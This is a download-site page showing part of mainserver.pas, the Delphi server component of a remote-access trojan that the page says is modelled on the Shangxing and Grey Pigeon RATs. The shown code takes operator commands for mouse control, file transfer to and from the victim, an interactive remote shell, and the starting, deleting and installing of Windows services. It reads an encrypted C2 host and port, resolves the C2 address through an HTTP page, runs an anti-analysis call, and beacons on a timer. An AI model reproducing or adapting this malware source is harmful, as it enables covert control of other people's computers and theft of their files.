⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserver.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 3 页
字号:
    End;

  end;
  //鼠标控制
  if copy(Recibido, 1, 6) = 'MOUSEP' then
  begin
    Delete(recibido, 1, 6);
    TempStr := copy(recibido, 1, Pos('|', recibido) - 1);
    Delete(Recibido, 1, pos('|', Recibido));
    TempStr1 := Copy(recibido, 1, pos('|', Recibido) - 1);
    Delete(Recibido, 1, pos('|', Recibido));
    TempStr2 := Copy(recibido, 1, pos('|', Recibido) - 1);
    Delete(Recibido, 1, pos('|', Recibido));
    if TempStr2 = 'CLICKIZQ' then
    begin
      mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
      mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      SetCursorPos(StrToInt(TempStr), StrToInt(TempStr1));
    end
    else
      if TempStr2 = 'CLICKDER' then
      begin
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
        SetCursorPos(StrToInt(TempStr), StrToInt(TempStr1));
      end;
  end;
  //上传文件
  if Pos('GETFILE|', Recibido) = 1 then
  begin
    Delete(Recibido, 1, 8);
    Recibido := Trim(Recibido);
    ThreadInfo := TThreadInfo.Create(Configuracion.sHost, Configuracion.iPort,
      IntToStr(SH), Recibido, 'GETFILE', 0);
    //ThreadedTransfer(Pointer(ThreadInfo)); //para debug
    BeginThread(nil,
      0,
      Addr(ThreadedTransfer),
      ThreadInfo,
      0,
      ThreadInfo.ThreadId);
  end;
  //下载任务文件
  if Pos('RESUMETRANSFER|', Recibido) = 1 then
  begin
    Delete(Recibido, 1, Pos('|', Recibido));
    Recibido := Trim(Recibido);
    FilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    //  messagebox(0,pchar(filepath),'filepath',mb_ok);
    Delete(Recibido, 1, Pos('|', Recibido));
    Recibido := Trim(Recibido);
    //   messagebox(0,pchar(Recibido),'Recibido',mb_ok);
    ThreadInfo := TThreadInfo.Create(Configuracion.sHost, Configuracion.iPort,
      IntToStr(SH), FilePath, 'RESUMETRANSFER', StrToInt(Recibido));
    BeginThread(nil,
      0,
      Addr(ThreadedTransfer),
      ThreadInfo,
      0,
      ThreadInfo.ThreadId);
  end;
  //下载文件
  if Pos('SENDFILE|', Recibido) = 1 then
  begin
    Delete(Recibido, 1, Pos('|', Recibido));
    Recibido := Trim(Recibido);
    FilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    LocalFilePath := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    ThreadInfo := TThreadInfo.Create(Configuracion.sHost, Configuracion.iPort,
      IntToStr(SH), LocalFilePath, 'SENDFILE', 0);
    ThreadInfo.RemoteFileName := FilePath;
    ThreadInfo.UploadSize := StrToInt(Recibido);
    BeginThread(nil,
      0,
      Addr(ThreadedTransfer),
      ThreadInfo,
      0,
      ThreadInfo.ThreadId);
  end;
  //shell执行
 if Pos('SHELL|', Recibido) = 1 then
  begin
    Delete(Recibido, 1, 6);
    if Recibido = 'ACTIVAR' then
    begin
      ShellParameters.Cliente := Cliente.ClientSocket;
      if ShellThreadID = 0 then
      begin
        CreateThread(nil, 0, @ShellThread, @ShellParameters, 0, ShellThreadID);
        Cliente.ClientSocket.Socket.SendText('SHELL|ACTIVAR'+ENTER);
      end;
    end
    else
      if Recibido = 'DESACTIVAR' then
      begin
        if ShellThreadID <> 0 then
          PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(String(PChar('exit'))));
      end
      else
      begin
        //Entonces es un comando para escribirle a la shell
        if ShellThreadID <> 0 then
          PostThreadMessage(ShellThreadID, WM_ACTIVATE, length(Recibido), DWord(PChar(Recibido)));
      end;
  end; //if Pos('Shell', recibido) = 1


//获取服务信息
if Recibido = 'LISTARSERVICIOS' then
  Socket.SendText('SERVICIOSWIN' + '|' + ServiceList + ENTER);
//运行服务
if Pos('INICIARSERVICIO', Recibido) = 1 then
begin
  Delete(Recibido, 1, 15);
  ServiceStatus(Recibido, True, True);
end;
//终止服务
if Pos('DETENERSERVICIO', Recibido) = 1 then
begin
  Delete(Recibido, 1, 15);
  ServiceStatus(Recibido, True, False);
end;
//删除服务
if Pos('BORRARSERVICIO', Recibido) = 1 then
begin
  Delete(Recibido, 1, 14);
  ServicioBorrar(Recibido);
end;
//安装服务
if Pos('INSTALARSERVICIO', Recibido) = 1 then
begin
  //Para instalar Servicio que falta de agregar en el cliente
  Delete(Recibido, 1, 16);
  TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
  Delete(Recibido, 1, Pos('|', Recibido));
  TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
  Delete(Recibido, 1, Pos('|', Recibido));
  TempStr2 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
  //prueba//messageBox(0,pchar(tempstr+'|'+tempstr1+'|'+tempstr2),0,0);
  ServicioCrear(TempStr, TempStr1, TempStr2);
end;
end; //Fin del OnRead del socket

procedure TClassClientSocket.ClientSocketReadFile(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Comando: string;
  Len, LenC: Integer;
  Buffer: Pointer;
begin
  Len := Socket.ReceiveLength;
  GetMem(Buffer, Len);
  Socket.ReceiveBuf(Buffer^, Len);
  if not RecibiendoFichero then
    //No se est?recibiendo el fichero, se estar?recibiendo un comando de SENDFILE
  begin
    //Ignoramos el comando MAININFO que envia el cliente a todas las conexiones nuevas
    if Copy(PChar(Buffer), 1, 8) = 'MAININFO' then exit;
    if Copy(PChar(Buffer), 1, 8) = 'SENDFILE' then
    begin
      Comando := Copy(PChar(Buffer), 1, Len);
      LenC := Length(Comando) + 1;
        //Longitud de la cadena leida + 1 el caracter de fin de cadena #0
      Delete(Comando, 1, 8);
      Descarga.Descargado := 0;
      Descarga.SizeFile := StrToInt(Copy(Comando, 1, Pos('|', Comando) - 1));
      Delete(Comando, 1, Pos('|', Comando));
      RecibiendoFichero := True;
      FSFileUpload := TFileStream.Create(Copy(Comando, 1, Pos('|', Comando) -
        1), fmCreate or fmOpenWrite);
      FSFileUpload.Position := 0;
      //A veces ocurre que leemos el comando y a continuaci髇 parte del fichero

      Inc(Pchar(Buffer), LenC);
        //Desplazamos el Buffer lo que se halla leido, para que eso no se escriba en el fichero
      Len := Len - LenC;
    end;
  end;
  FSFileUpload.Write(Buffer^, Len);
  Descarga.Descargado := Descarga.Descargado + Len;
  if Descarga.SizeFile = Descarga.Descargado then
  begin
    RecibiendoFichero := False;
    FSFileUpload.Free;
  end;
end;
//////////////////////////////////////////////////////

//////////////////////////////////////////////////////
function ResolveIP(Name: string): string;
type
  tAddr = array[0..100] of PInAddr;
  pAddr = ^tAddr;
var
  I: Integer;
  WSA: TWSAData;
  PHE: PHostEnt;
  P: pAddr;
  hostName: array[0..255] of char;
begin
  Result := '';
  WSAStartUp($101, WSA);
  try
    gethostname(hostName, sizeof(hostName));
    StrPCopy(hostName, Name);
    PHE := GetHostByName(HostName);
    if (PHE <> nil) then
    begin
      P := pAddr(PHE^.h_addr_list);
      I := 0;
      while (P^[I] <> nil) do
      begin
        Result := (inet_nToa(P^[I]^));
        Inc(I);
      end;
    end;
  except
  end;
  WSACleanUp;
end;
procedure ipandport1(host: string);
begin
  try
    Configuracion.sHost := copy(host, 1, pos(':', host) - 1);
   if not http then Configuracion.sHost := ResolveIP(Configuracion.sHost);    //放这里造成很大问题,先解析了,如果没联网就麻烦了
  except
  end;
 // MessageBox(0,pchar(''),pchar(Configuracion.sHost),MB_OK);
 try
  Delete(host, 1, Pos(':', host));   //我日啊,这里如果不这样弄就少端口位数,操
  Configuracion.iport := strtoint(trim(host));          //不加trim就完蛋
  except
  Configuracion.iport := 3306;
  end;
//MessageBox(0,pchar(inttostr(Configuracion.iport)),pchar(Configuracion.sHost),MB_OK);
end;


procedure getadder(adder: string;id:integer=1);
var
  hosttemp: string;
begin
  try
    if (pos('http://', adder) > 0) and (pos(':', adder) > 0) then
      //分离http://A如果不是DNS,就不需要分离
    begin
      hosttemp := copy(adder, 8, length(adder) - 7);
    end
    else
      hosttemp := adder;
    if pos(':', hosttemp) = 0 then
    begin //如果是HTTP网页文件
     Urlhttp := copy(hosttemp, 1, pos('/', hosttemp) - 1);
     Delete(hosttemp, 1, Pos('/', hosttemp));
     httpwj := hosttemp;
     try
     hosttemp := pchar(getip(getHttpDataByGetMethod(Urlhttp, 80,
        httpwj)));
    except
    end;
    http:=true;
    end;
    if (pos(':', hosttemp) > 0) and (length(hosttemp)<30) then
    try
    ipandport1(hosttemp);
    except
    end;
  // if pos(':', hosttemp) > 0 then ipandport(hosttemp,id);
  except
  end;

//  MessageBox(0,pchar(hosttemp),'test',MB_OK);
end;
procedure readme();
begin
  try
   // pzhinfo:='127.0.0.1:80>4>3.0>小熊技术>>>' ;
    pzhinfo := trim(StrDecrypt(readid('netinfo'))); //加密
  //  MessageBox(0,pchar(pzhinfo),pchar(''),MB_OK);
    ipset := copy(pzhinfo, 1, pos('>', pzhinfo) - 1);  //域名信息
    Delete(pzhinfo, 1, Pos('>', pzhinfo));
    try
    Configuracion.iTimeToNotify := strtoint(copy(pzhinfo, 1, pos('>', pzhinfo) - 1));//检测间隔
    except
     Configuracion.iTimeToNotify :=15;
    end;
    Delete(pzhinfo, 1, Pos('>', pzhinfo));
    Configuracion.sID := copy(pzhinfo, 1, pos('>', pzhinfo) - 1);  //服务端标记
    Delete(pzhinfo, 1, Pos('>', pzhinfo));
    VersionDelServer := copy(pzhinfo, 1, pos('>', pzhinfo) - 1); //服务端版本
    Delete(pzhinfo, 1, Pos('>', pzhinfo));

  //  MessageBox(0,pchar(peizhi.group),pchar(peizhi.ipset),MB_OK);
  try
    getadder(ipset);
  except
  end;
  except
  end;
  plugdir := GetDir(0) + 'plug\';

end;


procedure initconnect;     //初始化
begin
  Cliente := TClassClientSocket.Create;
  Cliente.ClientSocket := TClientSocket.Create(nil);
 //Cliente.ClientSocket.Host := Configuracion.sHost;
  //Cliente.ClientSocket.Port := Configuracion.iPort;
  Cliente.ClientSocket.OnRead := Cliente.ClientSocketRead;
  Cliente.ClientSocket.OnError := Cliente.ClientSocketError;
end;
procedure startconnect;
begin
readme; //读取配置
conectar();
end;
procedure main;
begin
  anti(true);
  initconnect;//初始化
  startconnect(); //开始连接
  SetTimer(0, 0, Configuracion.iTimeToNotify * 1000, @startconnect);
    //间隔发送连接数据SH

  //消息循环
  while True do
  begin
    Sleep(10);
    if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
    begin
      if Msg.Message <> WM_QUIT then
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end
      else
        Break;
    end;
  end;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -